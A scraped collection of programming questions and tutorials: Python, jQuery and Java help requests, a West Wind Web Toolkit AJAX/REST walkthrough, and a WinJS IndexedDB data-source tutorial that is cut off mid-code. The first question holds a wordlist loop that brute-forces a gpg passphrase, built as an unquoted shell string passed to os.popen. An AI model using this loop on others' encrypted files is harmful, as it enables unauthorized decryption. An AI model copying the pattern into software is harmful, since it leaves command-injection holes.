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Python: Closing a for loop by reading stdout

- by user1732102

import os dictionaryfile = "/root/john.txt" pgpencryptedfile = "helloworld.txt.gpg" array = open(dictionaryfile).readlines() for x in array: x = x.rstrip('\n') newstring = "echo " + x + " | gpg --passphrase-fd 0 " + pgpencryptedfile os.popen(newstring) I need to create something inside the for loop that will read gpg's output. When gpg outputs this string gpg: WARNING: message was not integrity protected, I need the loop to close and print Success! How can I do this, and what is the reasoning behind it? Thanks Everyone!

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JQuery how to make a smooth transition?

- by Totty

Hy, i have a div with relative position (CSS) and i want to make it to move on the screen, changing the left property. This should be a smooth transition from (left: 0px;) to (left: 100px;). Thanks

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Tell me what's wrong [closed]

- by steve care

public class Sample { public static void main (String[]a){ int[] x; x = new int[10]; int i;' int n=0; for (i=0;i<=10;i++){ n++; x[i]=n; System.out.print(x[i] + " "); } } } the problem is I got an error of "Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: 10"

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Using the West Wind Web Toolkit to set up AJAX and REST Services

- by Rick Strahl

I frequently get questions about which option to use for creating AJAX and REST backends for ASP.NET applications. There are many solutions out there to do this actually, but when I have a choice - not surprisingly - I fall back to my own tools in the West Wind West Wind Web Toolkit. I've talked a bunch about the 'in-the-box' solutions in the past so for a change in this post I'll talk about the tools that I use in my own and customer applications to handle AJAX and REST based access to service resources using the West Wind West Wind Web Toolkit. Let me preface this by saying that I like things to be easy. Yes flexible is very important as well but not at the expense of over-complexity. The goal I've had with my tools is make it drop dead easy, with good performance while providing the core features that I'm after, which are: Easy AJAX/JSON Callbacks Ability to return any kind of non JSON content (string, stream, byte[], images) Ability to work with both XML and JSON interchangeably for input/output Access endpoints via POST data, RPC JSON calls, GET QueryString values or Routing interface Easy to use generic JavaScript client to make RPC calls (same syntax, just what you need) Ability to create clean URLS with Routing Ability to use standard ASP.NET HTTP Stack for HTTP semantics It's all about options! In this post I'll demonstrate most of these features (except XML) in a few simple and short samples which you can download. So let's take a look and see how you can build an AJAX callback solution with the West Wind Web Toolkit. Installing the Toolkit Assemblies The easiest and leanest way of using the Toolkit in your Web project is to grab it via NuGet: West Wind Web and AJAX Utilities (Westwind.Web) and drop it into the project by right clicking in your Project and choosing Manage NuGet Packages from anywhere in the Project. When done you end up with your project looking like this: What just happened? Nuget added two assemblies - Westwind.Web and Westwind.Utilities and the client ww.jquery.js library. It also added a couple of references into web.config: The default namespaces so they can be accessed in pages/views and a ScriptCompressionModule that the toolkit optionally uses to compress script resources served from within the assembly (namely ww.jquery.js and optionally jquery.js). Creating a new Service The West Wind Web Toolkit supports several ways of creating and accessing AJAX services, but for this post I'll stick to the lower level approach that works from any plain HTML page or of course MVC, WebForms, WebPages. There's also a WebForms specific control that makes this even easier but I'll leave that for another post. So, to create a new standalone AJAX/REST service we can create a new HttpHandler in the new project either as a pure class based handler or as a generic .ASHX handler. Both work equally well, but generic handlers don't require any web.config configuration so I'll use that here. In the root of the project add a Generic Handler. I'm going to call this one StockService.ashx. Once the handler has been created, edit the code and remove all of the handler body code. Then change the base class to CallbackHandler and add methods that have a [CallbackMethod] attribute. Here's the modified base handler implementation now looks like with an added HelloWorld method: using System; using Westwind.Web; namespace WestWindWebAjax { /// <summary> /// Handler implements CallbackHandler to provide REST/AJAX services /// </summary> public class SampleService : CallbackHandler { [CallbackMethod] public string HelloWorld(string name) { return "Hello " + name + ". Time is: " + DateTime.Now.ToString(); } } } Notice that the class inherits from CallbackHandler and that the HelloWorld service method is marked up with [CallbackMethod]. We're done here. Services Urlbased Syntax Once you compile, the 'service' is live can respond to requests. All CallbackHandlers support input in GET and POST formats, and can return results as JSON or XML. To check our fancy HelloWorld method we can now access the service like this: http://localhost/WestWindWebAjax/StockService.ashx?Method=HelloWorld&name=Rick which produces a default JSON response - in this case a string (wrapped in quotes as it's JSON): (note by default JSON will be downloaded by most browsers not displayed - various options are available to view JSON right in the browser) If I want to return the same data as XML I can tack on a &format=xml at the end of the querystring which produces: <string>Hello Rick. Time is: 11/1/2011 12:11:13 PM</string> Cleaner URLs with Routing Syntax If you want cleaner URLs for each operation you can also configure custom routes on a per URL basis similar to the way that WCF REST does. To do this you need to add a new RouteHandler to your application's startup code in global.asax.cs one for each CallbackHandler based service you create: protected void Application_Start(object sender, EventArgs e) { CallbackHandlerRouteHandler.RegisterRoutes<StockService>(RouteTable.Routes); } With this code in place you can now add RouteUrl properties to any of your service methods. For the HelloWorld method that doesn't make a ton of sense but here is what a routed clean URL might look like in definition: [CallbackMethod(RouteUrl="stocks/HelloWorld/{name}")] public string HelloWorld(string name) { return "Hello " + name + ". Time is: " + DateTime.Now.ToString(); } The same URL I previously used now becomes a bit shorter and more readable with: http://localhost/WestWindWebAjax/HelloWorld/Rick It's an easy way to create cleaner URLs and still get the same functionality. Calling the Service with $.getJSON() Since the result produced is JSON you can now easily consume this data using jQuery's getJSON method. First we need a couple of scripts - jquery.js and ww.jquery.js in the page: <!DOCTYPE html> <html> <head> <link href="Css/Westwind.css" rel="stylesheet" type="text/css" /> <script src="scripts/jquery.min.js" type="text/javascript"></script> <script src="scripts/ww.jquery.min.js" type="text/javascript"></script> </head> <body> Next let's add a small HelloWorld example form (what else) that has a single textbox to type a name, a button and a div tag to receive the result: <fieldset> <legend>Hello World</legend> Please enter a name: <input type="text" name="txtHello" id="txtHello" value="" /> <input type="button" id="btnSayHello" value="Say Hello (POST)" /> <input type="button" id="btnSayHelloGet" value="Say Hello (GET)" /> <div id="divHelloMessage" class="errordisplay" style="display:none;width: 450px;" > </div> </fieldset> Then to call the HelloWorld method a little jQuery is used to hook the document startup and the button click followed by the $.getJSON call to retrieve the data from the server. <script type="text/javascript"> $(document).ready(function () { $("#btnSayHelloGet").click(function () { $.getJSON("SampleService.ashx", { Method: "HelloWorld", name: $("#txtHello").val() }, function (result) { $("#divHelloMessage") .text(result) .fadeIn(1000); }); });</script> .getJSON() expects a full URL to the endpoint of our service, which is the ASHX file. We can either provide a full URL (SampleService.ashx?Method=HelloWorld&name=Rick) or we can just provide the base URL and an object that encodes the query string parameters for us using an object map that has a property that matches each parameter for the server method. We can also use the clean URL routing syntax, but using the object parameter encoding actually is safer as the parameters will get properly encoded by jQuery. The result returned is whatever the result on the server method is - in this case a string. The string is applied to the divHelloMessage element and we're done. Obviously this is a trivial example, but it demonstrates the basics of getting a JSON response back to the browser. AJAX Post Syntax - using ajaxCallMethod() The previous example allows you basic control over the data that you send to the server via querystring parameters. This works OK for simple values like short strings, numbers and boolean values, but doesn't really work if you need to pass something more complex like an object or an array back up to the server. To handle traditional RPC type messaging where the idea is to map server side functions and results to a client side invokation, POST operations can be used. The easiest way to use this functionality is to use ww.jquery.js and the ajaxCallMethod() function. ww.jquery wraps jQuery's AJAX functions and knows implicitly how to call a CallbackServer method with parameters and parse the result. Let's look at another simple example that posts a simple value but returns something more interesting. Let's start with the service method: [CallbackMethod(RouteUrl="stocks/{symbol}")] public StockQuote GetStockQuote(string symbol) { Response.Cache.SetExpires(DateTime.UtcNow.Add(new TimeSpan(0, 2, 0))); StockServer server = new StockServer(); var quote = server.GetStockQuote(symbol); if (quote == null) throw new ApplicationException("Invalid Symbol passed."); return quote; } This sample utilizes a small StockServer helper class (included in the sample) that downloads a stock quote from Yahoo's financial site via plain HTTP GET requests and formats it into a StockQuote object. Lets create a small HTML block that lets us query for the quote and display it: <fieldset> <legend>Single Stock Quote</legend> Please enter a stock symbol: <input type="text" name="txtSymbol" id="txtSymbol" value="msft" /> <input type="button" id="btnStockQuote" value="Get Quote" /> <div id="divStockDisplay" class="errordisplay" style="display:none; width: 450px;"> <div class="label-left">Company:</div> <div id="stockCompany"></div> <div class="label-left">Last Price:</div> <div id="stockLastPrice"></div> <div class="label-left">Quote Time:</div> <div id="stockQuoteTime"></div> </div> </fieldset> The final result looks something like this: Let's hook up the button handler to fire the request and fill in the data as shown: $("#btnStockQuote").click(function () { ajaxCallMethod("SampleService.ashx", "GetStockQuote", [$("#txtSymbol").val()], function (quote) { $("#divStockDisplay").show().fadeIn(1000); $("#stockCompany").text(quote.Company + " (" + quote.Symbol + ")"); $("#stockLastPrice").text(quote.LastPrice); $("#stockQuoteTime").text(quote.LastQuoteTime.formatDate("MMM dd, HH:mm EST")); }, onPageError); }); So we point at SampleService.ashx and the GetStockQuote method, passing a single parameter of the input symbol value. Then there are two handlers for success and failure callbacks. The success handler is the interesting part - it receives the stock quote as a result and assigns its values to various 'holes' in the stock display elements. The data that comes back over the wire is JSON and it looks like this: { "Symbol":"MSFT", "Company":"Microsoft Corpora", "OpenPrice":26.11, "LastPrice":26.01, "NetChange":0.02, "LastQuoteTime":"2011-11-03T02:00:00Z", "LastQuoteTimeString":"Nov. 11, 2011 4:20pm" } which is an object representation of the data. JavaScript can evaluate this JSON string back into an object easily and that's the reslut that gets passed to the success function. The quote data is then applied to existing page content by manually selecting items and applying them. There are other ways to do this more elegantly like using templates, but here we're only interested in seeing how the data is returned. The data in the object is typed - LastPrice is a number and QuoteTime is a date. Note about the date value: JavaScript doesn't have a date literal although the JSON embedded ISO string format used above ("2011-11-03T02:00:00Z") is becoming fairly standard for JSON serializers. However, JSON parsers don't deserialize dates by default and return them by string. This is why the StockQuote actually returns a string value of LastQuoteTimeString for the same date. ajaxMethodCallback always converts dates properly into 'real' dates and the example above uses the real date value along with a .formatDate() data extension (also in ww.jquery.js) to display the raw date properly. Errors and Exceptions So what happens if your code fails? For example if I pass an invalid stock symbol to the GetStockQuote() method you notice that the code does this: if (quote == null) throw new ApplicationException("Invalid Symbol passed."); CallbackHandler automatically pushes the exception message back to the client so it's easy to pick up the error message. Regardless of what kind of error occurs: Server side, client side, protocol errors - any error will fire the failure handler with an error object parameter. The error is returned to the client via a JSON response in the error callback. In the previous examples I called onPageError which is a generic routine in ww.jquery that displays a status message on the bottom of the screen. But of course you can also take over the error handling yourself: $("#btnStockQuote").click(function () { ajaxCallMethod("SampleService.ashx", "GetStockQuote", [$("#txtSymbol").val()], function (quote) { $("#divStockDisplay").fadeIn(1000); $("#stockCompany").text(quote.Company + " (" + quote.Symbol + ")"); $("#stockLastPrice").text(quote.LastPrice); $("#stockQuoteTime").text(quote.LastQuoteTime.formatDate("MMM dd, hh:mmt")); }, function (error, xhr) { $("#divErrorDisplay").text(error.message).fadeIn(1000); }); }); The error object has a isCallbackError, message and stackTrace properties, the latter of which is only populated when running in Debug mode, and this object is returned for all errors: Client side, transport and server side errors. Regardless of which type of error you get the same object passed (as well as the XHR instance optionally) which makes for a consistent error retrieval mechanism. Specifying HttpVerbs You can also specify HTTP Verbs that are allowed using the AllowedHttpVerbs option on the CallbackMethod attribute: [CallbackMethod(AllowedHttpVerbs=HttpVerbs.GET | HttpVerbs.POST)] public string HelloWorld(string name) { … } If you're building REST style API's this might be useful to force certain request semantics onto the client calling. For the above if call with a non-allowed HttpVerb the request returns a 405 error response along with a JSON (or XML) error object result. The default behavior is to allow all verbs access (HttpVerbs.All). Passing in object Parameters Up to now the parameters I passed were very simple. But what if you need to send something more complex like an object or an array? Let's look at another example now that passes an object from the client to the server. Keeping with the Stock theme here lets add a method called BuyOrder that lets us buy some shares for a stock. Consider the following service method that receives an StockBuyOrder object as a parameter: [CallbackMethod] public string BuyStock(StockBuyOrder buyOrder) { var server = new StockServer(); var quote = server.GetStockQuote(buyOrder.Symbol); if (quote == null) throw new ApplicationException("Invalid or missing stock symbol."); return string.Format("You're buying {0} shares of {1} ({2}) stock at {3} for a total of {4} on {5}.", buyOrder.Quantity, quote.Company, quote.Symbol, quote.LastPrice.ToString("c"), (quote.LastPrice * buyOrder.Quantity).ToString("c"), buyOrder.BuyOn.ToString("MMM d")); } public class StockBuyOrder { public string Symbol { get; set; } public int Quantity { get; set; } public DateTime BuyOn { get; set; } public StockBuyOrder() { BuyOn = DateTime.Now; } } This is a contrived do-nothing example that simply echoes back what was passed in, but it demonstrates how you can pass complex data to a callback method. On the client side we now have a very simple form that captures the three values on a form: <fieldset> <legend>Post a Stock Buy Order</legend> Enter a symbol: <input type="text" name="txtBuySymbol" id="txtBuySymbol" value="GLD" />   Qty: <input type="text" name="txtBuyQty" id="txtBuyQty" value="10" style="width: 50px" />   Buy on: <input type="text" name="txtBuyOn" id="txtBuyOn" value="<%= DateTime.Now.ToString("d") %>" style="width: 70px;" /> <input type="button" id="btnBuyStock" value="Buy Stock" /> <div id="divStockBuyMessage" class="errordisplay" style="display:none"></div> </fieldset> The completed form and demo then looks something like this: The client side code that picks up the input values and assigns them to object properties and sends the AJAX request looks like this: $("#btnBuyStock").click(function () { // create an object map that matches StockBuyOrder signature var buyOrder = { Symbol: $("#txtBuySymbol").val(), Quantity: $("#txtBuyQty").val() * 1, // number Entered: new Date() } ajaxCallMethod("SampleService.ashx", "BuyStock", [buyOrder], function (result) { $("#divStockBuyMessage").text(result).fadeIn(1000); }, onPageError); }); The code creates an object and attaches the properties that match the server side object passed to the BuyStock method. Each property that you want to update needs to be included and the type must match (ie. string, number, date in this case). Any missing properties will not be set but also not cause any errors. Pass POST data instead of Objects In the last example I collected a bunch of values from form variables and stuffed them into object variables in JavaScript code. While that works, often times this isn't really helping - I end up converting my types on the client and then doing another conversion on the server. If lots of input controls are on a page and you just want to pick up the values on the server via plain POST variables - that can be done too - and it makes sense especially if you're creating and filling the client side object only to push data to the server. Let's add another method to the server that once again lets us buy a stock. But this time let's not accept a parameter but rather send POST data to the server. Here's the server method receiving POST data: [CallbackMethod] public string BuyStockPost() { StockBuyOrder buyOrder = new StockBuyOrder(); buyOrder.Symbol = Request.Form["txtBuySymbol"]; ; int qty; int.TryParse(Request.Form["txtBuyQuantity"], out qty); buyOrder.Quantity = qty; DateTime time; DateTime.TryParse(Request.Form["txtBuyBuyOn"], out time); buyOrder.BuyOn = time; // Or easier way yet //FormVariableBinder.Unbind(buyOrder,null,"txtBuy"); var server = new StockServer(); var quote = server.GetStockQuote(buyOrder.Symbol); if (quote == null) throw new ApplicationException("Invalid or missing stock symbol."); return string.Format("You're buying {0} shares of {1} ({2}) stock at {3} for a total of {4} on {5}.", buyOrder.Quantity, quote.Company, quote.Symbol, quote.LastPrice.ToString("c"), (quote.LastPrice * buyOrder.Quantity).ToString("c"), buyOrder.BuyOn.ToString("MMM d")); } Clearly we've made this server method take more code than it did with the object parameter. We've basically moved the parameter assignment logic from the client to the server. As a result the client code to call this method is now a bit shorter since there's no client side shuffling of values from the controls to an object. $("#btnBuyStockPost").click(function () { ajaxCallMethod("SampleService.ashx", "BuyStockPost", [], // Note: No parameters - function (result) { $("#divStockBuyMessage").text(result).fadeIn(1000); }, onPageError, // Force all page Form Variables to be posted { postbackMode: "Post" }); }); The client simply calls the BuyStockQuote method and pushes all the form variables from the page up to the server which parses them instead. The feature that makes this work is one of the options you can pass to the ajaxCallMethod() function: { postbackMode: "Post" }); which directs the function to include form variable POST data when making the service call. Other options include PostNoViewState (for WebForms to strip out WebForms crap vars), PostParametersOnly (default), None. If you pass parameters those are always posted to the server except when None is set. The above code can be simplified a bit by using the FormVariableBinder helper, which can unbind form variables directly into an object: FormVariableBinder.Unbind(buyOrder,null,"txtBuy"); which replaces the manual Request.Form[] reading code. It receives the object to unbind into, a string of properties to skip, and an optional prefix which is stripped off form variables to match property names. The component is similar to the MVC model binder but it's independent of MVC. Returning non-JSON Data CallbackHandler also supports returning non-JSON/XML data via special return types. You can return raw non-JSON encoded strings like this: [CallbackMethod(ReturnAsRawString=true,ContentType="text/plain")] public string HelloWorldNoJSON(string name) { return "Hello " + name + ". Time is: " + DateTime.Now.ToString(); } Calling this method results in just a plain string - no JSON encoding with quotes around the result. This can be useful if your server handling code needs to return a string or HTML result that doesn't fit well for a page or other UI component. Any string output can be returned. You can also return binary data. Stream, byte[] and Bitmap/Image results are automatically streamed back to the client. Notice that you should set the ContentType of the request either on the CallbackMethod attribute or using Response.ContentType. This ensures the Web Server knows how to display your binary response. Using a stream response makes it possible to return any of data. Streamed data can be pretty handy to return bitmap data from a method. The following is a method that returns a stock history graph for a particular stock over a provided number of years: [CallbackMethod(ContentType="image/png",RouteUrl="stocks/history/graph/{symbol}/{years}")] public Stream GetStockHistoryGraph(string symbol, int years = 2,int width = 500, int height=350) { if (width == 0) width = 500; if (height == 0) height = 350; StockServer server = new StockServer(); return server.GetStockHistoryGraph(symbol,"Stock History for " + symbol,width,height,years); } I can now hook this up into the JavaScript code when I get a stock quote. At the end of the process I can assign the URL to the service that returns the image into the src property and so force the image to display. Here's the changed code: $("#btnStockQuote").click(function () { var symbol = $("#txtSymbol").val(); ajaxCallMethod("SampleService.ashx", "GetStockQuote", [symbol], function (quote) { $("#divStockDisplay").fadeIn(1000); $("#stockCompany").text(quote.Company + " (" + quote.Symbol + ")"); $("#stockLastPrice").text(quote.LastPrice); $("#stockQuoteTime").text(quote.LastQuoteTime.formatDate("MMM dd, hh:mmt")); // display a stock chart $("#imgStockHistory").attr("src", "stocks/history/graph/" + symbol + "/2"); },onPageError); }); The resulting output then looks like this: The charting code uses the new ASP.NET 4.0 Chart components via code to display a bar chart of the 2 year stock data as part of the StockServer class which you can find in the sample download. The ability to return arbitrary data from a service is useful as you can see - in this case the chart is clearly associated with the service and it's nice that the graph generation can happen off a handler rather than through a page. Images are common resources, but output can also be PDF reports, zip files for downloads etc. which is becoming increasingly more common to be returned from REST endpoints and other applications. Why reinvent? Obviously the examples I've shown here are pretty basic in terms of functionality. But I hope they demonstrate the core features of AJAX callbacks that you need to work through in most applications which is simple: return data, send back data and potentially retrieve data in various formats. While there are other solutions when it comes down to making AJAX callbacks and servicing REST like requests, I like the flexibility my home grown solution provides. Simply put it's still the easiest solution that I've found that addresses my common use cases: AJAX JSON RPC style callbacks Url based access XML and JSON Output from single method endpoint XML and JSON POST support, querystring input, routing parameter mapping UrlEncoded POST data support on callbacks Ability to return stream/raw string data Essentially ability to return ANYTHING from Service and pass anything All these features are available in various solutions but not together in one place. I've been using this code base for over 4 years now in a number of projects both for myself and commercial work and it's served me extremely well. Besides the AJAX functionality CallbackHandler provides, it's also an easy way to create any kind of output endpoint I need to create. Need to create a few simple routines that spit back some data, but don't want to create a Page or View or full blown handler for it? Create a CallbackHandler and add a method or multiple methods and you have your generic endpoints. It's a quick and easy way to add small code pieces that are pretty efficient as they're running through a pretty small handler implementation. I can have this up and running in a couple of minutes literally without any setup and returning just about any kind of data. Resources Download the Sample NuGet: Westwind Web and AJAX Utilities (Westwind.Web) ajaxCallMethod() Documentation Using the AjaxMethodCallback WebForms Control West Wind Web Toolkit Home Page West Wind Web Toolkit Source Code © Rick Strahl, West Wind Technologies, 2005-2011Posted in ASP.NET jQuery AJAX Tweet (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

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Metro: Creating an IndexedDbDataSource for WinJS

- by Stephen.Walther

The goal of this blog entry is to describe how you can create custom data sources which you can use with the controls in the WinJS library. In particular, I explain how you can create an IndexedDbDataSource which you can use to store and retrieve data from an IndexedDB database. If you want to skip ahead, and ignore all of the fascinating content in-between, I’ve included the complete code for the IndexedDbDataSource at the very bottom of this blog entry. What is IndexedDB? IndexedDB is a database in the browser. You can use the IndexedDB API with all modern browsers including Firefox, Chrome, and Internet Explorer 10. And, of course, you can use IndexedDB with Metro style apps written with JavaScript. If you need to persist data in a Metro style app written with JavaScript then IndexedDB is a good option. Each Metro app can only interact with its own IndexedDB databases. And, IndexedDB provides you with transactions, indices, and cursors – the elements of any modern database. An IndexedDB database might be different than the type of database that you normally use. An IndexedDB database is an object-oriented database and not a relational database. Instead of storing data in tables, you store data in object stores. You store JavaScript objects in an IndexedDB object store. You create new IndexedDB object stores by handling the upgradeneeded event when you attempt to open a connection to an IndexedDB database. For example, here’s how you would both open a connection to an existing database named TasksDB and create the TasksDB database when it does not already exist: var reqOpen = window.indexedDB.open(“TasksDB”, 2); reqOpen.onupgradeneeded = function (evt) { var newDB = evt.target.result; newDB.createObjectStore("tasks", { keyPath: "id", autoIncrement: true }); }; reqOpen.onsuccess = function () { var db = reqOpen.result; // Do something with db }; When you call window.indexedDB.open(), and the database does not already exist, then the upgradeneeded event is raised. In the code above, the upgradeneeded handler creates a new object store named tasks. The new object store has an auto-increment column named id which acts as the primary key column. If the database already exists with the right version, and you call window.indexedDB.open(), then the success event is raised. At that point, you have an open connection to the existing database and you can start doing something with the database. You use asynchronous methods to interact with an IndexedDB database. For example, the following code illustrates how you would add a new object to the tasks object store: var transaction = db.transaction(“tasks”, “readwrite”); var reqAdd = transaction.objectStore(“tasks”).add({ name: “Feed the dog” }); reqAdd.onsuccess = function() { // Tasks added successfully }; The code above creates a new database transaction, adds a new task to the tasks object store, and handles the success event. If the new task gets added successfully then the success event is raised. Creating a WinJS IndexedDbDataSource The most powerful control in the WinJS library is the ListView control. This is the control that you use to display a collection of items. If you want to display data with a ListView control, you need to bind the control to a data source. The WinJS library includes two objects which you can use as a data source: the List object and the StorageDataSource object. The List object enables you to represent a JavaScript array as a data source and the StorageDataSource enables you to represent the file system as a data source. If you want to bind an IndexedDB database to a ListView then you have a choice. You can either dump the items from the IndexedDB database into a List object or you can create a custom data source. I explored the first approach in a previous blog entry. In this blog entry, I explain how you can create a custom IndexedDB data source. Implementing the IListDataSource Interface You create a custom data source by implementing the IListDataSource interface. This interface contains the contract for the methods which the ListView needs to interact with a data source. The easiest way to implement the IListDataSource interface is to derive a new object from the base VirtualizedDataSource object. The VirtualizedDataSource object requires a data adapter which implements the IListDataAdapter interface. Yes, because of the number of objects involved, this is a little confusing. Your code ends up looking something like this: var IndexedDbDataSource = WinJS.Class.derive( WinJS.UI.VirtualizedDataSource, function (dbName, dbVersion, objectStoreName, upgrade, error) { this._adapter = new IndexedDbDataAdapter(dbName, dbVersion, objectStoreName, upgrade, error); this._baseDataSourceConstructor(this._adapter); }, { nuke: function () { this._adapter.nuke(); }, remove: function (key) { this._adapter.removeInternal(key); } } ); The code above is used to create a new class named IndexedDbDataSource which derives from the base VirtualizedDataSource class. In the constructor for the new class, the base class _baseDataSourceConstructor() method is called. A data adapter is passed to the _baseDataSourceConstructor() method. The code above creates a new method exposed by the IndexedDbDataSource named nuke(). The nuke() method deletes all of the objects from an object store. The code above also overrides a method named remove(). Our derived remove() method accepts any type of key and removes the matching item from the object store. Almost all of the work of creating a custom data source goes into building the data adapter class. The data adapter class implements the IListDataAdapter interface which contains the following methods: · change() · getCount() · insertAfter() · insertAtEnd() · insertAtStart() · insertBefore() · itemsFromDescription() · itemsFromEnd() · itemsFromIndex() · itemsFromKey() · itemsFromStart() · itemSignature() · moveAfter() · moveBefore() · moveToEnd() · moveToStart() · remove() · setNotificationHandler() · compareByIdentity Fortunately, you are not required to implement all of these methods. You only need to implement the methods that you actually need. In the case of the IndexedDbDataSource, I implemented the getCount(), itemsFromIndex(), insertAtEnd(), and remove() methods. If you are creating a read-only data source then you really only need to implement the getCount() and itemsFromIndex() methods. Implementing the getCount() Method The getCount() method returns the total number of items from the data source. So, if you are storing 10,000 items in an object store then this method would return the value 10,000. Here’s how I implemented the getCount() method: getCount: function () { var that = this; return new WinJS.Promise(function (complete, error) { that._getObjectStore().then(function (store) { var reqCount = store.count(); reqCount.onerror = that._error; reqCount.onsuccess = function (evt) { complete(evt.target.result); }; }); }); } The first thing that you should notice is that the getCount() method returns a WinJS promise. This is a requirement. The getCount() method is asynchronous which is a good thing because all of the IndexedDB methods (at least the methods implemented in current browsers) are also asynchronous. The code above retrieves an object store and then uses the IndexedDB count() method to get a count of the items in the object store. The value is returned from the promise by calling complete(). Implementing the itemsFromIndex method When a ListView displays its items, it calls the itemsFromIndex() method. By default, it calls this method multiple times to get different ranges of items. Three parameters are passed to the itemsFromIndex() method: the requestIndex, countBefore, and countAfter parameters. The requestIndex indicates the index of the item from the database to show. The countBefore and countAfter parameters represent hints. These are integer values which represent the number of items before and after the requestIndex to retrieve. Again, these are only hints and you can return as many items before and after the request index as you please. Here’s how I implemented the itemsFromIndex method: itemsFromIndex: function (requestIndex, countBefore, countAfter) { var that = this; return new WinJS.Promise(function (complete, error) { that.getCount().then(function (count) { if (requestIndex >= count) { return WinJS.Promise.wrapError(new WinJS.ErrorFromName(WinJS.UI.FetchError.doesNotExist)); } var startIndex = Math.max(0, requestIndex - countBefore); var endIndex = Math.min(count, requestIndex + countAfter + 1); that._getObjectStore().then(function (store) { var index = 0; var items = []; var req = store.openCursor(); req.onerror = that._error; req.onsuccess = function (evt) { var cursor = evt.target.result; if (index < startIndex) { index = startIndex; cursor.advance(startIndex); return; } if (cursor && index < endIndex) { index++; items.push({ key: cursor.value[store.keyPath].toString(), data: cursor.value }); cursor.continue(); return; } results = { items: items, offset: requestIndex - startIndex, totalCount: count }; complete(results); }; }); }); }); } In the code above, a cursor is used to iterate through the objects in an object store. You fetch the next item in the cursor by calling either the cursor.continue() or cursor.advance() method. The continue() method moves forward by one object and the advance() method moves forward a specified number of objects. Each time you call continue() or advance(), the success event is raised again. If the cursor is null then you know that you have reached the end of the cursor and you can return the results. Some things to be careful about here. First, the return value from the itemsFromIndex() method must implement the IFetchResult interface. In particular, you must return an object which has an items, offset, and totalCount property. Second, each item in the items array must implement the IListItem interface. Each item should have a key and a data property. Implementing the insertAtEnd() Method When creating the IndexedDbDataSource, I wanted to go beyond creating a simple read-only data source and support inserting and deleting objects. If you want to support adding new items with your data source then you need to implement the insertAtEnd() method. Here’s how I implemented the insertAtEnd() method for the IndexedDbDataSource: insertAtEnd:function(unused, data) { var that = this; return new WinJS.Promise(function (complete, error) { that._getObjectStore("readwrite").done(function(store) { var reqAdd = store.add(data); reqAdd.onerror = that._error; reqAdd.onsuccess = function (evt) { var reqGet = store.get(evt.target.result); reqGet.onerror = that._error; reqGet.onsuccess = function (evt) { var newItem = { key:evt.target.result[store.keyPath].toString(), data:evt.target.result } complete(newItem); }; }; }); }); } When implementing the insertAtEnd() method, you need to be careful to return an object which implements the IItem interface. In particular, you should return an object that has a key and a data property. The key must be a string and it uniquely represents the new item added to the data source. The value of the data property represents the new item itself. Implementing the remove() Method Finally, you use the remove() method to remove an item from the data source. You call the remove() method with the key of the item which you want to remove. Implementing the remove() method in the case of the IndexedDbDataSource was a little tricky. The problem is that an IndexedDB object store uses an integer key and the VirtualizedDataSource requires a string key. For that reason, I needed to override the remove() method in the derived IndexedDbDataSource class like this: var IndexedDbDataSource = WinJS.Class.derive( WinJS.UI.VirtualizedDataSource, function (dbName, dbVersion, objectStoreName, upgrade, error) { this._adapter = new IndexedDbDataAdapter(dbName, dbVersion, objectStoreName, upgrade, error); this._baseDataSourceConstructor(this._adapter); }, { nuke: function () { this._adapter.nuke(); }, remove: function (key) { this._adapter.removeInternal(key); } } ); When you call remove(), you end up calling a method of the IndexedDbDataAdapter named removeInternal() . Here’s what the removeInternal() method looks like: setNotificationHandler: function (notificationHandler) { this._notificationHandler = notificationHandler; }, removeInternal: function(key) { var that = this; return new WinJS.Promise(function (complete, error) { that._getObjectStore("readwrite").done(function (store) { var reqDelete = store.delete (key); reqDelete.onerror = that._error; reqDelete.onsuccess = function (evt) { that._notificationHandler.removed(key.toString()); complete(); }; }); }); } The removeInternal() method calls the IndexedDB delete() method to delete an item from the object store. If the item is deleted successfully then the _notificationHandler.remove() method is called. Because we are not implementing the standard IListDataAdapter remove() method, we need to notify the data source (and the ListView control bound to the data source) that an item has been removed. The way that you notify the data source is by calling the _notificationHandler.remove() method. Notice that we get the _notificationHandler in the code above by implementing another method in the IListDataAdapter interface: the setNotificationHandler() method. You can raise the following types of notifications using the _notificationHandler: · beginNotifications() · changed() · endNotifications() · inserted() · invalidateAll() · moved() · removed() · reload() These methods are all part of the IListDataNotificationHandler interface in the WinJS library. Implementing the nuke() Method I wanted to implement a method which would remove all of the items from an object store. Therefore, I created a method named nuke() which calls the IndexedDB clear() method: nuke: function () { var that = this; return new WinJS.Promise(function (complete, error) { that._getObjectStore("readwrite").done(function (store) { var reqClear = store.clear(); reqClear.onerror = that._error; reqClear.onsuccess = function (evt) { that._notificationHandler.reload(); complete(); }; }); }); } Notice that the nuke() method calls the _notificationHandler.reload() method to notify the ListView to reload all of the items from its data source. Because we are implementing a custom method here, we need to use the _notificationHandler to send an update. Using the IndexedDbDataSource To illustrate how you can use the IndexedDbDataSource, I created a simple task list app. You can add new tasks, delete existing tasks, and nuke all of the tasks. You delete an item by selecting an item (swipe or right-click) and clicking the Delete button. Here’s the HTML page which contains the ListView, the form for adding new tasks, and the buttons for deleting and nuking tasks: <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>DataSources</title>  <link href="//Microsoft.WinJS.1.0.RC/css/ui-dark.css" rel="stylesheet" /> <script src="//Microsoft.WinJS.1.0.RC/js/base.js"></script> <script src="//Microsoft.WinJS.1.0.RC/js/ui.js"></script>  <link href="indexedDb.css" rel="stylesheet" /> <script type="text/javascript" src="indexedDbDataSource.js"></script> <script src="indexedDb.js"></script> </head> <body> <div id="tmplTask" data-win-control="WinJS.Binding.Template"> <div class="taskItem"> Id: <span data-win-bind="innerText:id"></span> <br /><br /> Name: <span data-win-bind="innerText:name"></span> </div> </div> <div id="lvTasks" data-win-control="WinJS.UI.ListView" data-win-options="{ itemTemplate: select('#tmplTask'), selectionMode: 'single' }"></div> <form id="frmAdd"> <fieldset> <legend>Add Task</legend> <label>New Task</label> <input id="inputTaskName" required /> <button>Add</button> </fieldset> </form> <button id="btnNuke">Nuke</button> <button id="btnDelete">Delete</button> </body> </html> And here is the JavaScript code for the TaskList app: /// <reference path="//Microsoft.WinJS.1.0.RC/js/base.js" /> /// <reference path="//Microsoft.WinJS.1.0.RC/js/ui.js" /> function init() { WinJS.UI.processAll().done(function () { var lvTasks = 